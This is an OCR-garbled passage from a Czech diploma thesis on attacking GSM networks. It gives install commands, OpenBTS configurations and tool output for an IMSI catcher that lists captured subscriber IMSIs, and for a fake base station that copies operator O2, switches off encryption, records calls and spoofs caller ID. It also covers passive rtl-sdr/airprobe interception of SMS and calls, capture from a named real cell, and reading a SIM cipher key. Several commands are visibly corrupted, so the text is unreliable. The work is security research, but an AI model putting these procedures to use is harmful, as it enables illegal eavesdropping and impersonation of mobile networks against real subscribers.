R2 nebo Sony Xperia L, kdy pro piipojeni k BTS bylo potieba zatizeni restartovat a vyvolat tak
znovu prohledani GSM spektra.

Tabulka 5.4 pak zobrazuje situaci poté, co doslo k ptipojeni MS k IMSI catcheru.
Z hlediska bézného uzivatele neni mozné registrovat, ze je objektem jakéhokoliv ttoku.
V konfiguraci OpenBTS neni nastaven seznam okolnich BTS a proto nebude dochazet k méteni
okolnich BTS popr. nasledného piechodu k t¢émto BTS.

Tabulka 5.4: Méreni signalu po pripojeni k IMSI catcheru

Cell ID LAC ARFCN Sila signdlu
[dBm]
10 1714 87 51

Pro zobrazeni IMSI mobilnich zafizeni obsluhovanych OpenBTS pak slouzi prikaz

tmsis, ktery v konzoli vypisuje seznam IMSI a k nim ptifazenym TMSI. Zachycené IMSI jsou
pak zobrazeny v nasledujicim vypisu:

OpenBTS> tmsis

TMSI IMST age used
1 230022901372117 led 7d
3 230024100906226 le6d 7d
6 230029101230104 le6d le6d
5 231060900102504 le6d le6d
4 23101445134224¢6 le6d le6d
2 230020701214669 le6d l6d

Za pouziti volné dostupnych nastrojii bylo mozno vytvorit a ispéSné provozovat IMSI
catcher. Po prvotni instalaci je mozno IMSI catcher nakonfigurovat podle aktualnich podminek
a nasledné spustit v fadu nékolika malo minut. Je potfeba si uvédomit, Ze v okamziku kdy je
mobilni zatizeni ptipojeno k IMSI catcheru nelze na zafizeni piijimat a odesilat hovory ¢i SMS.
Aby nedoslo k prozrazeni probihajicitho utoku je potfeba minimalizovat dobu kdy je IMSI

catcher v provozu. Provozovani IMSI catcheru je v CR i vét$ing ostatnich zemi nelegalni.

5.3  Aktivni odposlech - faleSna BTS

Princip aktivniho utoku vychdzi z koncepce IMSI catcheru, kdy je jeho funk&nost
roz§itena o moznosti realizace odchozich hovorii a odesilani SMS. Tim, Ze uto¢nik ma plnou
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kontrolu nad konfiguraci BTS, je mozno kompletné vypnout Sifrovani hovorovych dat a ziskat
tak k datim okamzity pristup.

Scénar utoku je zobrazen na nasledujicim diagramu (obrazek 5.4), je vytvorena falesna
BTS s podvrhnutou identitou, nasledné dojde k prepojeni MS obéti k falesné BTS. V okamziku
kdy dojde k odchozimu hovoru je zaznamenano cislo volajictho a cely hovor je pomoci
Asterisku nahrdn a presmérovan pomoci sit¢ VolIP na volanou stanici s podvrzenou identitou
volajiciho.

Sifrovani A5/0

W,

MS obéti

Software PBX
Asterisk

Falesna BTS

Obrazek 5.4: Scénar utoku pomoci falesné BTS

5.3.1 Instalace a konfigurace

Jak bylo zminéno v tvody této podkapitoly, vytvoreni falesné BTS vychaz z IMSI
catcheru a pro vlastni realizaci bylo také pouzita kombinace softwarového radia USRP N210
pro radiovou cast a OpenBTS pro demodulaci signalu a tizeni zakladnové stanice. Postup
instalace a konfigurace této Casti je popsan v podkapitole 5.2.1. Aby bylo mozno pomoci
OpenBTS uskuteciiovat hovory a odesilat SMS zpravy je potieba doinstalovat dalsi soucasti
OpenBTS:

Subscriber registry — slouzi k nahrazeni funkénosti HLR v bézné GSM siti a pomoci
upraveného SIP registru umoziiuje uchovavat data o uzivatelich.[24]

Smqueue — server pro zpracovani a odesilani SMS zprav v systému OpenBTS.[24]

Pobockova ustfedna Asterisk slouzi jak k provadéni signalizace prostiednictvim
protokolu SIP, tak k fizeni a pfepojovani hovori.

Instalace Subscriber registry z baliku OpenBTS :

cd subscriberRegistry/trunk/

make

cd configFiles/

mkdir -p /var/lib/asterisk/sqglite3dir

sqgqlite3 -init subscriberRegistryInit.sqgl
/var/lib/asterisk/sqglite3dir/sglite3.db ".quit"
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sqglite3 -init ../sipauthserve.example.sgl /etc/OpenBTS/sipauthserve.db
" .quit"

Instalace Smqueue:

cd smqueue/trunk/

./autogen.sh

autoreconf -1

./configure

make

make install

sglite3 -init smqueue.example.sql /etc/OpenBTS/smqueue.db ".quit"

Instalace pobockové ustiedny Asterisk 1.8.13.1 :

apt-get install asterisk

Podrobna konfigurace Asterisku je pfiloZzena k této diplomové praci.

Kazdy ticastnik piipojeny pomoci OpenBTS je pro potieby asterisku identifikovan jako
SIP koncovy uzivatel s uzivatelskym jménem ,JMSIxxxxxxxxxxxxxx“, kde xxx je IMSI
registrované SIM karty o délce 14-15 znakl. IP adresa uzivatele je shodna s IP obsluhujici
OpenBTS. Samotna OpenBTS je pak v piipade vytvoreni VoIP sité ,nevidite na“.[24]

5.3.2 Pruabéh utoku

Nejprve bylo potieba podobné jako v pripadé IMSI catcheru zjistit udaje pro
konfiguraci OpenBTS. Pro vytvoreni faleSné BTS byla zvolena sit’ operatora O2, prehled
hodnot GSM identifikacnich 0daji operatora je mozné nalézt v tabulce 5.1. Vysledna
konfigurace OpenBTS:

config Control.LUR.OpenRegistration .* // umoZni registraci vsech
zatizeni

config GSM.Radio.Band 900 // volba GSM pasma 900

config GSM.Radio.CO 1 // nastaveni ARFCN

config GSM.Identity.MCC 230 // nastaveni MCC operdtora 02

config GSM.Identity.MNC 02 // nastaveni MNC operdtora 02

config GSM.Identity.ShortName 02-CZ // nastaveni nézvu sité
config GSM.Identity.ID 10 // nastaveni Cell ID

config GSM.Identity.LAC 1000 //nastaveni LAC

Po spusténi OpenBTS dojde k vytvoreni falesné BTS s vySe uvedenymi parametry.
Nasledné dochazik ptipojeni MS obéti k této BTS. Pipojeni MS je mozno kontrolovat pomoci
konzolové aplikace OpenBTS piikazem tmsis.

V piipadé odchoziho hovoru je dany hovor presmérovan pomoci konfigurace Asterisku
na jeden z pevné definovanych softwarovych telefonilt ve VolIP siti vytvorené Asteriskem. Toto
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v laboratornich podminkach simuluje uskute¢néni hovoru pomoci externiho poskytovatele VolP
telefonie.

Podvrzeni identity volajictho a zaznam hovoru je proveden pomoci funkei Asterisku.
Nastaveni identity volajicitho je provedeno pomoci konfigurace v souboru extensions.conf.
V tomto souboru dochazi také k definici nahravani hovort do audio stopy v prostredi asterisku.
Cely konfigura¢ni soubor je soucasti ptilohy této DP.

5.4 Pasivni odposlech

V obou ptedchozich popsanych ptipadech bylo potfeba provozovat obousmérnou
komunikaci mezi napadenou MS a falesSnou BTS. Pii vyuziti vysilace se vSak uto¢nik vzdy
vystavuje moznosti odhaleni a pomérné snadné lokalizace v pfipade, kdy se na n¢j né€kdo
zaméti. V pripadé pasivniho odposlechu komunikace nedochazi k zadnému aktivnimu vysilani
ze strany Uto¢nika, a proto se mozné odhaleni v tomto ohledu minimalizuje.

V kapitole 4.2 byl popsan odposlech komunikace mezi BTS a MS pomoci zatizeni
USRP. I pies podstatné snizeni nakladti na provedeni utokli vyuzitim open-source nastroju je
stale potfeba vyuzit relativné drahé zatizeni USRP (desitky tis. K¢). V prubéhu roku 2013 se
ukazala moznost vyuziti velice levného zatizeni uréeného primarné pro piijem DVB-T signalu.
Timto krokem doslo ke snizeni nakladii na provedeni pasivniho odposlechu na minimalni
uroven (stovky az jednotky tisic K¢).

Tato c¢ast pak popisuje celkovy prub¢h provadéného odposlechu komunikace. Je
rozdélena na dvé casti, nejprve byl proveden odposlech komunikace v testovaci siti vytvorené
pomoci OpenBTS. Druha cast se vénuje odposlechu komunikace v siti realného mobilniho
operatora.

5.4.1 Instalace a konfigurace

Pro prvni variantu odposlechu testovaci sité bylo potfeba nainstalovat a nakonfigurovat
USRP a OpenBTS, tento proces je popsan v kap. 5.3.

Pro zachyceni komunikace byl pouzit nastroj rtl-sdr z baliku Osmocom. Pied vlastni
instalaci je potieba ziskat doplikové baliky.

sudo apt-get install libusb-1.0-0-dev

Instalace rtl-sdr:

git clone git://git.osmocom.org/rtl-sdr.git
cd rtl-sdr/

mkdir build

cd build

cmake ../

make

sudo make install

sudo ldconfig
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Levné zafizeni rtl-sdr sebou nese také urcité problémy ohledné kvality pouzitého tuneru.
Je proto potfeba provést kalibraci zafizeni — jedna se o zjiSténi odchylky v redlné¢ frekvenci
tuneru a frekvenci, ktera se zobrazuje uzivateli. Pro ucel kalibrace byl pouzit nastroj kalibrate -
rtl.
git clone https://github.com/steve-m/kalibrate-rtl.git
cd kalibrate-rtl/
./bootstrap
./configure

make
make instar

Nyni je pro zjisténi odchylky (offset) potieba aplikaci pomoci parametru — ¢ poskytnout
hodnotu ARFCN jedné z okolich BTS. Pro zjisténi ARFCN okolnich BTS je mozno spustit
aplikaci s parametrem —s GSM900. [23]

Pro prevod dat ziskanych pomoci aplikace rtl sdr do formatu podporovaného aplikaci
airprobe bylo pouzito jedné z aplikaci balikit GNU Radio — GRC — umoziuje vytvaret pomoci
grafického rozhrani spustiteIné skripty pro rtizné vyuziti. Navrh diagramu pro vytvoreni skriptu
byl ptevzat z OsmocomSDR.[23] Ukazka diagramu je na obrazku 5.5. Vyuziti tohoto prevodu
je dano tim, Ze aplikace airprobe pouzivd pro vstup format souboru cfile s komplexnimi
hodnotami, kdezto vystupem aplikace rtl-sdr je binarni datovy soubor.

Add Const o Multiply Const
Constant: -127 Constant: 8m Float To Complex
im

Add Const Multiply Const File Sink
L Bl uchar To Float in Constant: -127 ut ™! constant: &m o File: tmp/capture.cfile

Unbuffered: Off

=)
]
5|
w

File Source
File: ftmp/capture.bin
Repeat: Yes

L»E Deinterleave

=]

5

Obrazek 5.5: GRC schéma pro pievod zdrojovych dat na cfile

Aby bylo mozno zobrazit ziskana data v protokolovém analyzatoru Wireshark vyuziva
airprobe pseudo-zdhlavi GSMTAP, které slouzi k obaleni zprav syst¢tmu GSM do UDP
paketti.[ 19] Toto obstarava balik libosmocore.
git clone git://git.osmocom.org/libosmocore.git
cd libosmocore
autoreconf -i
./configure
make

sudo make install
sudo ldconfig

Jak jiz bylo né€kolikrat zminéno pro vlastni interpretaci zachycenych dat je vyuzit
nastroj Airprobe. U tohoto baliku jsem pri instalaci narazil na zna¢né mnozstvi problému,
jednalo se predevSim o problémy s baliky, na kterych je airprobe zavislé. Dale pak o problémy
s vlastni kompilaci zdrojovych souborti. Plivodni balik zvefejnény autory na webu srlab.de
v roce 2009 nebyl nadale udrzovan a pro dnesni pouziti byl nepouzitelny. Proto byla vyuzita
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modifikovana varianta vytvoifena uzivatelem ttsou. Pfed vlastni instalaci bylo potieba piidat
dalsi baliky zavislosti.

sudo apt-get install gnuradio-dev libboost-all-dev libfftw3-dev swig
python-numpy

Instalace airprobe:

git clone https://github.com/ttsou/airprobe.git
cd airprobe/gsm-receiver

./bootstrap

./configure

make

5.4.2 Prubéh utoku — OpenBTS

Tento scénar byl zvolen z diivodu ovéfeni funkénosti vSech komponent systému. Bylo
totiz mozno vyuzit znalosti o konfiguraci GSM sit¢. Toto zahrnuje predevsim znalost kanalu
ARFCN, na kterém je BTS provozovana, dile moznost ziskat jednoduse informace o
identifikaci uzivateld v ramci sit¢ (IMSI, TMSI). OpenBTS byla provozovana ve stejné
laboratoti, kde byl provadén také odposlech, coz zajistilo vysokou troven piijimané¢ho signalu a
nasledn¢ také bezproblémovou demodulaci a interpretaci ziskanych dat.

Dalsim zdsadnim rozdilem mezi redlnou siti operatora a vyuzitim OpenBTS byla
absence Sifrovani signalizacnich a komunika¢ni kandli syst¢tmu GSM. Proto také neni v této
¢asti fesen zptsob ziskani Sifrovaciho klice K..

Konfigurace OpenBTS :

config Control.LUR.OpenRegistration .* // umoZni registraci vsSech
zatizeni

config GSM.Radio.Band 900 // volba GSM pasma 900

config GSM.Radio.CO 1 // nastaveni ARFCN

config GSM.Identity.MCC 001 // nastaveni testovaciho MCC

config GSM.Identity.MNC 02 // nastaveni testovaciho MNC

config GSM.Identity.ShortName OpenBTS // nastaveni ndzvu sité
config GSM.Identity.ID 10 // nastaveni Cell ID

config GSM.Identity.LAC 1000 //nastaveni LAC

Pro nastaveni Asterisku byla vyuzita konfigurace, ktera vychazi z konfigurace popsané
vkap. 5.3. Je tedy nastaveno pifesmerovani vSech hovorii na jedinou koncovou stanici
identifikovanou pomoci IMSI 230024100906226. Kompletni konfigurace je obsazena v priloze
této prace.

Bylo opét potieba také provést kalibraci DVB-T USB receiveru, pro toto jsem vyuzil
aplikaci kalibrate-sdr. Kalibrace byla provedena pomoci testovaci OpenBTS na kanalu ARFCN
1:
kal -c 1

Found 1 device(s):
0: ezcap USB 2.0 DVB-T/DAB/FM dongle
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Using device 0: ezcap USB 2.0 DVB-T/DAB/FM dongle
Found Rafael Micro R820T tuner

Exact sample rate is: 270833.002142 Hz

kal: Calculating clock frequency offset.

Using GSM-900 channel 58 (946.6MHz)

average [min, max] (range, stddev)

- 39.908kHz [-39921, -39886] (35, 9.224885)
overruns: 0

not found: O

average absolute error: 42.159 ppm

Z vyse zjisténého je podstatnd zejména hodnota -39.908 kHz, ktera udava absolutni
hodnotu odchylky. Relativni odchylka je pak udana jako hodnota 42.159 ppm. Tuto hodnotu je
pak nutno odecist od hodnoty frekvence pti zachytavani komunikace.

V tomto okamziku je mozné pristoupit k zachyceni komunikace mezi OpenBTS a MS.

rtl sdr —-f 935.2M -s 1.0e6 data openbts arfcnl.bin

parametr —f urCuje frekvenci signalu GSM

parametr —s nastavuje vzorkovaci frekvenci IMHz

data openbts_arfcnl.bin urCuje nazev souboru se ziskanymi daty

rtl sdr -f 935.161le6 -s 1.0e6 data openbts arfcnl.bin
Found 1 device(s):
0: Realtek, RTL2838UHIDIR, SN: 00000001

Using device 0: ezcap USB 2.0 DVB-T/DAB/FM dongle
Found Rafael Micro R820T tuner

Exact sample rate is: 1000000.026491 Hz

Tuned to 935200000 Hz.

Reading samples in async mode...

V prib¢hu Gtoku byla odesland SMS ztermindlu OpenBTS na MS identifikovanou
IMSI 230024100906226. Dale byl proveden telefonni hovor mezi dvémi MS ptipojenymi
k testovaci BTS. Po dokonceni testovaciho hovoru je ukonéeno ziskavani dat pomoci Ctrl+ C.

OpenBTS> sendsms 230024100906226 1234 Testovaci
message submitted for delivery

Dalsim krokem je prevod ziskanych dat do formatu cfile. V aplikaci GRC byl jako
zdrojovy soubor zvolen soubor zachycenych dat data_openbts_arfcnl .bin, jako vystupni soubor
pak data openbts_arfcnl.cfile ve slozce /home/gsmsec/airprobe/gsm-receiver/src/python/

Pro dalsi analyzu dat bude vyuzit skript go.sh z aplikace gsm-reciever v baliku airprobe.
Tento skript demoduluje ziskana data na zakladé poskytnuté konfigurace a ziskany vystup pak
odesild na mistni si’ové rozhrani — localhost s doplnénym pseudo-zdhlavim GSMTAP[19].

Parametry skriptu go.sh jsou nasledujici[19]:
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go.sh decimation rate channel config session_key

decimation_rate — urCuje hodnotu pro downsampling, pro kompatibilitu s rtl sdr je tato
hodnota 64

channel config — umoziiuje urCit logicky kandl a timeslot pro zpracovani, mozné
konfigurace channel config :

e (0C —Konfigurace s kombinovanym signaliza¢nim kandlem
e 0B —Konfigurace s oddélenym signaliza¢nim kanalem

e 1S — Signaliza¢ni kanal v timeslotu 1

e |-7T — Pfenosovy kanal v timeslotu 1 az 7

session_key — hodnota Sifrovaciho klice Kc
Blizs1i popis logickych kanalu sit¢ GSM je mozno nalézt v kapitole 1.2.4.6

Dle dokumentace OpenBTS je pouzita varianta s kombinovanym signalizaénim
kanalem, proto jsou zvoleny nasledujici parametry. Pokud neni parametr session key uveden
dojde ke zpracovani pouze nesifrovanych bursti.

./go.sh data openbts arfcnl.cfile 64 0C

Na obrazku 5.6 je mozno vidét okamzik kdy dojde k pagingu MS, coz MS oznamuje, Ze
ma na uréeném kanalu naslouchat nasledujici signalizaci.

No. Time Source Destinaticn Protocel Length  Info ~
1350 7.13883700127.0.0.1 127.0.0.1 GSMTAP 81 (CCCH) (RR) Paging Request Type 1
1351 7.14396600127.0.0.1 127.0.0.1 GSMTAP 81 (CcCccH) (RR) Paging Request Type 1
1352 7.14747900127.0.0.1 127.0.0.1 GSMTAP 81 (cccH) (RR) Paging Request Type 1
1353 7.16063000127.0.0.1 127 0.1 LAPDmM 81 u, func=ul
1354 7.16428800127.0 1 127 L LAPDM 81 u. func=ur e
= Frame 1352: 81 bytes wi i 81 bytes captured (648 bits) on interface 0

Ethernet II, src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
Internet Protocol version 4, Src: 127.0.0.1 (127.0.0.1), Dst: 127.0.0.1 (127.0.0.1)
User Datagram Protocol, Src Port: 33498 (33498), Dst Port: gsmtap (4729)
GSM TAP Header, ARFCN: 0 (pDownlink), Ts: 0, channel: BCCH (0)
GSM CCCH - Paging Request Type 1
L2 pseudo Length
= Protocol Discriminator: rRadio Resources Management messages
Message Type: Paging Request Type 1
E Page Mode
@ Channel Needed
= Mobile Identity - Mobile Identity 1 - IMSI (230024100906226)
Length: &
0010 .... = Identity Digit 1: 2
.... 1... = odd/even indication: odd number of identity digits
.... .001 = Mobile Identity Type: IMSI (1)
BECD Digits: 230024100906226
# Pl Rest Octets

DEEBB

Obrazek 5.6: Paging MS

Poté je odeslanim Immediate Assignment (obrazek 5.7) sestaven logicky komunikaéni
kanal mezi MS a BTS, jehoz prostiednictvim bude odeslana vlastni SMS.
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No. Destination Protocol Length Info
PP e er e i WA Ut g R MR TUL L g AR LYo Lum i s sy pa
1356 .0.0.1 127.0.0.1 LAPDM 81 u P, func=uI(DTAP) (RR) system Information Type 5
1357 7.17870500127.0.0.1 127.0.0.1 GSMTAP 81 (cccH) (RR) system Information Type 3
1358 7.18221200127.0.0.1 127.0.0.1 GSMTAP 81 (CCCH) (RR) Immediate Assignment
1359 7.18734900127.0.0.1 127.0.0.1 GSMTAP 81 (CCCH) (RR) Paging Reguest Type 1
49cn 7 4AARAAARATT A oA 4 an7 oA oA e ~uan B4 FrreoN FARY Anndon Aacact T 4

i Frame 1358: 81 bytes on wire (648 bits), 81 bytes captured (648 bits) on interface 0O
thernet II, src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
nternet Protocol version 4, src: 127.0.0.1 (127.0.0.1), Dst: 127.0.0.1 (127.0.0.1)
ser Datagram Protocol, Src Port: 33498 (33498), Dst Port: gsmtap (4729)
GSM TAP Header, ARFCN: O (pownlink), Ts: 0, channel: BCCH (0)
G5M CCCH - Immediate Assignment
@ L2 Pseudo Length
@ Protocol Discriminator: Radio Resources Management messages
Message Type: Immediate Assignment
[ Page Mode
= Dedicated mode or TBF
= channel pescription

m®

0010 0... = SDCCH/4 + SACCH/Cc4 or CBCH (SDCCH/4), subchannel 0
.... .000 = Timeslot: O
010. .... = Training Sequence: 2
L0 . Hopping channel: No
00.. = spare

é%ﬁé1e &hanne? I ARFCN 1
Obrazek 5.7: Immediate Assignment — prideleni SDCCH kanalu

V tomto okamziku je mozno pristoupit k piecteni odeslané SMS. Obsah SMS je
zachycen na obrazku 5.8.

Mo. Time Source Destination Protocol Length Info
B O (Vv ey R VIRV VRISV aoeiar UL AL ARR Fayiiy ATHUTIL IypS L
1404 7.40346600127.0.0.1 127.0.0.1 GSMTAP 81 (cccH) (RR) Paging Request Type 1
1405 7.40714200127.0.0.1 127.0.0.1 GSMTAP 81 (CCCH) (RR) Paging Request Type 1
1406 7.41223700127.0.0.1 0.0.1 I, N(R)=0, N(5)=2(DTAP) (SMS5) CP-DATA (RP) RP-DATA (Network to MS|
1407 7.42080500127.0.0.1 127.0.0.1 LAPDM 81 u, func=UI

[ User Datagram Protocol, Src Port: 33498 (33498), Dst Port: gsmtap (4729)

[# GSM TAP Header, ARFCN: 0 (Downlink), T5: 0, channel: sDCCH/4 (0)

# Link Access Procedure, Channel pm (LAPDm)

GSM A-I/F DTAP - CP-DATA

[ GSM A-I/F RP - RP-DATA (Network To Ms)

£ GSM SM5 TPDU (GSM 03.40) SMS-DELIVER

TP-RP: TP Reply Path parameter 1is not set in this SMS SUBMIT/DELIVER
= TP-UDHI: The TP UD field contains only the short message

= TP-SRI: A status report shall not be returned to the SME

= TP-MMS: No more messages are waiting for the Ms in this sC

(=]
]

. = TP-MTI: SMS-DELIVER (0}
ginating-aAddress - (724922233)
P-PID: 0
P-DCS: O
® TP-Service-Centre-Time-stamp

TP-User-Data-Length: (14) depends on Data-Coding-scheme
E TP-User-pData

SMS Text: Testovaci sMs

Obrazek 5.8: Odeslana SMS
Po potvrzeni odeslani a prijeti SMS nasleduje piikaz k uvolnéni signalizacniho kandlu.

Pted ziskanim hovorovych dat je potieba provést analyzu signalizacniho kanalu. Opét je
stejné jako v ptipadé SMS vyvolan Paging a ptidéleni signaliza¢niho kanalu pomoci Immediate
Assignment. V tomto okamziku MS odesilad pozadavek sluzby (CM Service Request — obrazek
5.9). MS v této zprav€é zada o sluzbu odchoziho hovoru MOC (Mobile originating call) a
identifikuje se pomoci TMSI. BTS odpovidda pomoci CM Service Accept, ve které sluzbu
(v tomto piipadé MOC) potvrzuje.
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No. Time Source Destination Protocol Length Info ~
320 1.72882000127.0.0.1 127.0.0.1 GSMTAP 81 (cccH) (RR) Paging Request Type 1
321 1.73173000127.0.0.1 127.0.0.1 GSMTAP 81 (cccH) (RR) Paging Request Type 1
322 1.73756600127.0.0.1 127.0.0.1 LAPDM 81 U F, func=ua(DTAP) (MM) CM Service RequestT
323 1.74542900127.0.0.1 127.0.0.1 LAPDm 81 U, func=ur
324 1.74911000127.0.0.1 127.0.0.1 LAPDm 81 U, func=ul b4
Internet Protocol version 4, src: 127.0.0.1 (127.0.0.1), Dst: 127.0.0.1 (127.0.0.1) ~

user Datagram Protocol, src Port: 33498 (33498), Dst Port: gsmtap (4729)
GSM TAP Header, ARFCN: 0 (pDownlink), Ts: 0, channel: spccH/4 (0)
# Link Access Procedure, Channel Dm (LAPDm)
@ Protocol Discriminator: Mobility Management messages
00.. .... = Seguence number: 0
..10 0100 = DTAP Mobility Management Message Type: CM Service Regquest (0x24)
@ Ciphering Key Sequence Number
E CM service Type
. 0001 = service Type: (1) Mobile originating call establishment or packet mode connection establishment
Mobile station Classmark 2
= Mobile Identity - TMSI/P-TMSI (0x0001)
Length: 5
1111 .... = Unused: 0x0f
.... 0... = odd/even indication: Even number of identity digits
.... .100 = Mobile Identity Type: TMSI/P-TMSI/M-TMSI (4)
TMSI/P-TMSI: 0x00000001

Obrazek 5.9: CM Service Request

Nasledné je MS, ze které je hovor provadén pomoci zpravy Assignment Command
oznameno, aby naslouchala prenosovému kanalu TCH a k nému asociovanému signaliza¢nimu
kandlu na TS 1 (Obrazek 5.10).

No.  Time Source Destination Protocal Length Info L e e - a
438 2.29512500127.0.0.1 127.0.0.1 GSMTAP 81 (cccH) (RR) Paging Reguest Type 1
439 2.30033900127.0.0.1 127.0.0.1 LAPDM 81 I, N(R)=2, N(5)=2(DTAP) (RR) Assignment Command
440 2.30898900127.0.0.1 127.0.0.1 LAPDM 81 u, func=l
441 2.31252500127.0.0.1 127.0.0.1 LAPDM 81 u, ful v
AAD D FMTESEANIIT A N 1 197 non oA + annm °1 oA

[

Frame 439: 81 bytes on wire (648 bits), 81 bytes captured (648 bits) on interface 0
Ethernet II, src: 00:00:00_00:00:00 (00:00:00:00:00:00), DSt: 00:00:00_00:00:00 (00:00:00:00:00:00)
Internet Protocol version 4, src: 127.0.0.1 (127.0.0.1), pst: 127.0.0.1 (127.0.0.1)
User Datagram Protocol, Src Port: 33498 (33498), Dst Port: gsmtap (4729)
GSM TAP Header, ARFCN: 0 (Downlink), TS: 0, channel: sSDCCH/4 (0)
Link Access Procedure, Channel pm (LAPDm)
= GSM A-I/F DTAP - Assignment Command
Protocol Discriminator: Radio Resources Management messages
DTAP Radio Resources Management Message Type: Assignment command (0x2e)
= Channel Description 2 - Description of the First Channel, after time

0000 1... = TCH/F + FACCH/F and SACCH/F
... .001 = Timeslot: 1
010. .... = Training Sequence: 2
A . Hopping channel: No
00 = Spare

Single channel : ARFCN 1
[ Power Command
@ channel Mode - Mode of the First channel(Channel set 1)

Obrazek 5.10: Assignment Command

Jelikoz je 1 volana MS pripojena ke stejné BTS dochazi zarovei k sestaveni prichoziho
hovoru - MTC (Mobile Terminated Call) — opét je nejprve MS ozndmeno pomoci pagingu na
BCCH, ze je potieba sledovat sdileny signalizacni kanal SDCCH. Immediate Assignment pak
ptidéluje volané MS rovnou hovorovy kanal na TS 2, kde prob¢hne nezbytna signalizaci i
vlastni hovor. Toto je mozno vidét na obrazku 5.11. BTS dale na ptidéleném signalizacnim
kanale odesila zpravu Call Setup obsahujici informace o volajicim.

Nyni jsou jiz zndmy veSkeré potfebné informace k dekédovani hovorovych dat. Tyto
udaje jsou shrnuty v nasledujici tabulce 5.5.

Tabulka 5.5: Prehled pridélenych hovorovych kanali

Identita Kanal (Timeslot)

TMSI 1 TCH/F (1)

IMSI 230024100906226 TCH/F (2)
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No. Time Seurce Destination _ Protocol Length Info e ey s s s g o
471 2.45655900127.0.0.1 127.0.0.1 GSMTAP 81 (CccH) (RR) system Information Type 2
472 2.46008100127.0.0.1 127.0.0.1 GSMTAP 81 (CCccH) (RR) Immediate Assignment
473 2.46524800127.0.0.1 127.0.0.1 GSMTAP 81 (cccH) (RR) Paging Reguest Type 1
474 2.46873900127.0.0.1 127.0.0.1 GSMTAP 81 (CCCH) (RR) Paging Reguest Type 1
AT7E 2 ATARRNANIIT N N1 127 AN 1 ADRm 21 T gD NFEY_2(ATADY DDY Accdnmamarn A, A

= Protocol Discriminator: rRadio Resources Management messages
Message Type: Immediate Assignment

= Page Mode

Dedicated mode or TEBF

= Channel Description

0000 1... = TCH/F + ACCHs
.v.. .010 = Timeslot: 2
010. .... = Training Sequence: 2
..0 .... = Hopping channel: No
00.. = spare

Single channel : ARFCN 1
Request Reference
Timing Advance
Mobile Allocation
IA Rest Octets

Obrazek 5.11: Immediate Assignment volané MS

Airprobe v piipadé konfigurace s hovorovym kanalem ukladd do vystupniho souboru
ziskana hovorova data. Hovor je pak uloZzen v audio formatu au.gsm.

Pro ziskani hovorovych dat z TS1 je pouzit nasledujici ptikaz :

./go.sh data openbts arfcnl.cfile 64 1T 0000000000000000
Pro spravnou funkci skriptu je potfeba dophit Sifrovaci kli¢ samymi nulami.
Vystupem pak je soubor speech.au.gsm.

JelikoZ soubor formatu gsm neni mozno bézn€ piehrat je potieba pievést ziskany soubor
pomoci aplikace foast do audio formatu au.

toast —-d speech.au.gsm

Ziskany soubor jsem nasledné pfejmenoval

mv speech.au call tsl.au

Tento soubor Ize nasledné piehrat pomocikonzolové verze piehravace VLC

cvlc call tsl.au

Obdobny proces byl nasledné proveden i pro TS 2 :

./go.sh data openbts arfcnl.cfile 64 2T 0000000000000000
toast -d speech.au.gsm

mv speech.au call ts2.au

cvlc call ts2.au

Pti poslechu ziskanych hovort je bohuzel mozno slySet ruSeni, jelikoZ hovorova data
jsou vysoce citliva na chybovost. Toto je jednak zplisobeno nedokonalosti synchronizace MS a
OpenBTS. Dale mtze byt kvalita zhorSena ruSenim signdli ziskaného pomoci DVB-T
ptijimace.

Vsechny vystupni soubory a logy z aplikace Wireshark jsou soucasti priloh této prace.
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5.4.3 Prabéh atoku — Realna BTS

Jako dalsi krok v pasivnim odposlechu jsem chtél ovétit moznost zachyceni a analyzy
datového provozu mezi BTS a MS v redIné siti GSM provozované lokdlnim operatorem.

Pti realné utoku by bylo potifeba nejprve obét’ lokalizovat, toto by bylo provedeno
pomoci HLR Query. Princip této lokalizace je popsan v kapitole 4.

Nasledné by bylo potieba zjistit identitu TMSI obéti utoku. Toto je mozno provést
zasilanim narusenych SMS zprav tzv. Silent SMS, které jsou doruceny na cilovou MS, avSak
nejsou z divodu posSkozeni uzivateli zobrazeny. Opét je princip tohoto utoku podrobnéji
rozebran v kapitole 4.

Oba tyto kroky bylo mozno pieskocit, protoze jsem provadél testovaci odposlech
komunikace MS ve svém vlastnictvi.

Po amalyze okolni situace byla jako nejvhodnéj§i BTS k zachyceni provozu zvolena
BTS operatora O2 s identifikatorem 17051. Analyza byla provedena pomoci aplikace GSM
Signal Monitoring na mobilnim telefonu s OS Android. Bliz$i popis odposlouchavané BTS jsem
ziskal pomoci databaze ceskych zakladnovych stanic na webu www.gsmweb.cz a je zndzornén
v tabulce 5.6.

Tabulka 5.6: Informace o BIS s identifikatorem Cell ID 17051

CID LAC ARFCN BSIC Okres Umisté ni0
17051 1713 94 45 Ostrava Ostrava-Poruba, Pavlouskova 4333/1

Zvolené BTS je provozujicim operatorem pridélen frekvencni kanal ARFCN 94. Toto
odpovida frekvenci 953.8MHz pro downlink a 908.8MHz pro uplink.

Pro zaznam komunikace byl pouzit nastroj rtl sdr s nasledujici konfiguraci :
rtl_sdr—953.761e6 —s le6 data_gsm_17051.bin

Vysledna frekvence f byla opét ziskana odeCtenim odchylky zafizeni od redlné
frekvence. Komunikace pak byla zaznamenana do souboru data gsm 17051.bin. Jako
vzorkovaci frekvence byla zvolena hodnota 1MHz.

Béhem zachytavani komunikace byl proveden telefonni hovor ve sméru od
monitorované MS a nasledné¢ byla na tuto stanici také zaslana SMS zprava.

Po ukonceni sbéru dat bylo potieba prevést soubor data gsm 17051.bin do formatu
cfile pomoci aplikace GRC. Vysledny soubor pak byl uloZen pod nazvem data gsm 17051 .cfile

Pted dalsi analyzou dat je potieba ziskat hodnotu TMSI obéti. TMSI je identifikace MS
pro potieby sit¢ GSM a proto je tato hodnota pro koncového uzivatele béznym zplisobem
nepristupnd. Pro zjisténi TMSI bylo proto v laboratori vyuzito ¢tecky SmartCard a aplikace
SIMSpyll. Pomoci této aplikace je také mozno zjistit posledni pouzitou hodnotu Sifrovaciho
klice K.. Vystup aplikace SIMSpy je zachycen na obrazku 5.12
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EF|ag Location infarmation TSI 1B 21 A 16

Lal: 230 02 06B1 [1713]
LA update ztate: updated successfully
EFkp Ciphering key Ko JIBZ2 94 6B E4 75 63 34 [key sequence nr. 3)

Obrazek 5.12: Ziskani TMSI a Sifrovaciho klice K. pomoci aplikace SIMSpylIl

Nyni bylo mozné provést analyzu ziskanych dat.

